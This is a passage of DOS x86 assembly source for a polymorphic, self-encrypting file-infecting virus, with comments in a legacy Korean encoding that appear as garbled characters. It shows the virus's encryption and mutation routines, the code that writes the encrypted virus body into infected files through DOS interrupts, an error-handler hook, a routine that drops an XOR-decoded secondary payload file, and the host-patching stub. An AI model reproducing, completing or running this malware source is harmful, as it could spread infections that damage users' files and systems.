  682.                xor    al,0A4h
  683.                mov    byte ptr DS:[ODE_XOR_AL+1],al
  684.                xor    byte ptr DS:[ODE_loop],08     ; inc ax, dec ax
  685.                push   cs
  686.                pop    es
  687.  
  688. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  689. ; ╢Ñ£ü òA╖í╚ßêt ┤q╤í╤┴
  690. ; ╖íªüªà╖e ÿa¥í ªë¥a╗⌐«ü ╖╢╖q
  691. ;
  692.  
  693.  ENCRY_DATA:
  694.  
  695.                mov    cx,0005                     ; 5 ╥A ñeÑó
  696.  ODE_AX_KEY:
  697.                mov    ax,0000                     ; ┤q╤íêt
  698.  ODE_LOOP:
  699.                inc    ax                          ; INC AX/DEC AX
  700.                nop
  701.  ODE_XOR_AL:
  702.                xor    al,00h
  703.                nop
  704.                xor    word ptr CS:[SI],AX
  705.                inc    si
  706.                dec    cx
  707.                jnz    Ode_LOOP
  708.                RET
  709.  
  710. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  711. ;         ┤q╤í╤┴ »í╟íôe ₧ü╦Ñ
  712. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  713.  
  714.  SET_ENCRY_VIR:
  715.                xor    ax,ax
  716.                mov    es,ax
  717.                mov    ax,word ptr ES:[046Ch]      ; ╟íêt
  718.                push   cs
  719.                pop    es
  720.                mov    word ptr SEV_AX+1,ax
  721.                add    ax,0003
  722.                mov    byte ptr SEV_AL+1,AL
  723.                mov    byte ptr SEV_AH+1,AH
  724.                xor    ah,09h
  725.                cmp    ah,0a0h
  726.                ja     Chg_IncDec
  727.                xor    byte ptr SEV_AL,04          ; MOV AL/AH
  728.                xor    byte ptr SEV_AH,04          ;
  729.  Chg_IncDec:
  730.                xor    byte ptr ds:SEV_Inc_AX,08h  ; Inc AX/DEC AX
  731.                cmp    al,0A0h
  732.                jb     Mov_VIR_Buffer
  733.                xor    word ptr ds:SEV_XCHGAX,5416h     ; NOP NOP
  734.  
  735.  Mov_VIR_buffer:
  736.                push   bx                          ; ╠a╖⌐ ╨àùiêt
  737.                xor    si,si                       ; ña╖í£ß»aƒi ┤q╤í ñß╠ߥí Ñó¼a
  738.                mov    di,offset Encry_Buffer
  739.                mov    cx,offset End_VIRUS
  740.                repz   movsb
  741.  
  742.                mov    di, offset Encry_Buffer     ; DI= IP ┤Φôe ╢ß├íªü╚ß ┤q╤í
  743.                add    di, offset GetIP
  744.                call   ENCRY_Start                 ; ┤q╤í╤┴ »í╕b
  745.  
  746.                pop    bx                          ; ╨àùi Ñóèü
  747.                mov    AH,40h                      ; ña╖í£ß»a │aïí
  748.                mov    cx, offset End_VIRUS
  749.                mov    dx, offset Encry_Buffer
  750.                Int    21h
  751.                RET
  752. ;<><><><><><><><><><><><><><><><><><><><><><><><><>
  753.  
  754.  SetPnt:       mov    ah,42h
  755.                xor    cx,cx
  756.                xor    dx,dx
  757.                int    21h
  758.                RET
  759.  
  760.  VirInt24:
  761.                XOR    AL,AL
  762.                IRET
  763.                NOP
  764.  
  765.  Drop_Miny1:
  766.                call    Melt_Miny1
  767.                mov     ah,3Ch                     ; ╠a╖⌐ ¼ù¼≈(ïí╣Ñ ╠a╖⌐╠aèA)
  768.                Int     21h
  769.                xchg    ax,bx                      ;
  770.                Push    CS
  771.                Pop     DS
  772.                mov     ah,40h                     ; Miny1 ña╖í£ß»a îiïí
  773.                mov     cx, 123
  774.                mov     dx, offset Miny1_Code
  775.                Int     21h
  776.                mov     ah,3Eh                     ; ╠a╖⌐ öhïí
  777.                Int     21h
  778.                mov     RETURN,0FFh
  779.                call    Melt_Miny1
  780.                RET
  781.  
  782.  Miny1_CODE    DB 128 DUP (?)              ; Miny1 Éü╢w
  783.  
  784.  Melt_Miny1:
  785.                mov     si, offset Miny1_CODE      ; Miny1 ╖i ┤q╤í╤┴ ╨eöa.
  786.                mov     AL,0F0h
  787.                mov     cx,120
  788.  Miny_LOOP:
  789.                xor     CS:[SI],AL
  790.                inc     SI
  791.                loop    Miny_LOOP
  792.                RET
  793.                NOP
  794.  Encry_Point_END:
  795.                NOP
  796.  
  797.  
  798. ;<><><><><><><><><><><><><><><><><><><><><><>
  799. ;  »⌐╣A ┤q╤í╤┴ƒi »í╟íôe ªüªà
  800. ;
  801. ;
  802.  ENCRY_routine:                              ; ña╖í£ß»a ┤q╤í╤┴ »í╟íôe ªüªà
  803.                mov    di,si
  804.                NOP
  805.                cld
  806.                nop
  807.  
  808.  ENCRY_START:    ; <-- ña╖í£ß»a╡A¼ß ╤í┬ëÿüôe ╖íªüªà╖i ¼a╢w.
  809.                mov    cx,offset Encry_Point_END - GetIP ; ┤q╤í ï⌐╖í
  810.                XOR    BX,BX
  811.                nop
  812.  SEV_AL:       mov    al,00h                      ; xor 04
  813.                nop
  814.  SEV_AH:       mov    ah,00h                      ; xor 04
  815.  ENCRY_LOOP:
  816.                db     0Ebh,00h                    ; JMP 0000
  817.                CLD
  818.  SEV_XCHGAX:
  819.                Xchg   al,ah                       ; xor 5416 --> NOP NOP
  820.  SEV_AX:       xor    ax,0000h                    ;
  821.                nop
  822.  SEV_INC_AX:
  823.                Inc    ax                          ; xor 08
  824.                nop
  825.                xor    word ptr cs:[DI+BX],ax
  826.                nop
  827.                Inc    bx
  828.                db     0Ebh,00h
  829.                dec    cx                          ; ╥U«üáe╟q ñeÑó?
  830.                jnz    Encry_LOOP
  831.                nop
  832.                nop
  833.  ENCRY_END:
  834.                RET
  835.                nop
  836.  ENCRY_END1:
  837.  
  838.  End_VIRUS:
  839.  
  840.  
  841. ;<><><><><><><><><><><><><><><><><><><><>
  842. ; òA╖í╚ß ╡w╡b
  843. ; DATA AREA
  844.  
  845. NewDTA         DB  64  dup (?)           ; ¼ü¥í╢à DTA ñß╠ß
  846. OldInt24       DD  ?                     ; ╢Ñ£ü Int 24 êt
  847. DosDTA         DD  ?                     ; DIR »í ╖│¥bûAôe DTA ║ü¡í
  848. Buffer4F       DB  66h dup (?)           ; ╠a╖⌐╖ü Éü╢w
  849. FileAttr       DW  ?                     ; ╠a╖⌐╖ü ¡ó¼≈
  850. FileName       DD  ?                     ; ╠a╖⌐╖ü DX:DS êt
  851. FileTime       DW  ?
  852. Return         DB  ?                     ; ƒí╚σ êt 3╖ííe êq╡q
  853. InfectType     DB  ?                     ; êq╡q ╤w»ó
  854. NETYPE         DW  ?
  855.   nop
  856.  Encry_Buffer:
  857.  End_Memory:
  858.  
  859.  
  860. ; ┤|ªüªà╖i ╕≈¼w╕Γ╖Ñ ña╖í£ß»a¥í áeùeöa. (┬A┴í╖ü »⌐╨ù╠a╖⌐)
  861.  Patch:
  862.                mov    byte ptr DS:[100h],0BEh     ; MOV SI,106h
  863.                mov    word ptr DS:[101h],106h
  864.                jmp    GetIP
  865.  
  866.    VIRUS       ENDS
  867.                END  Entry
  868.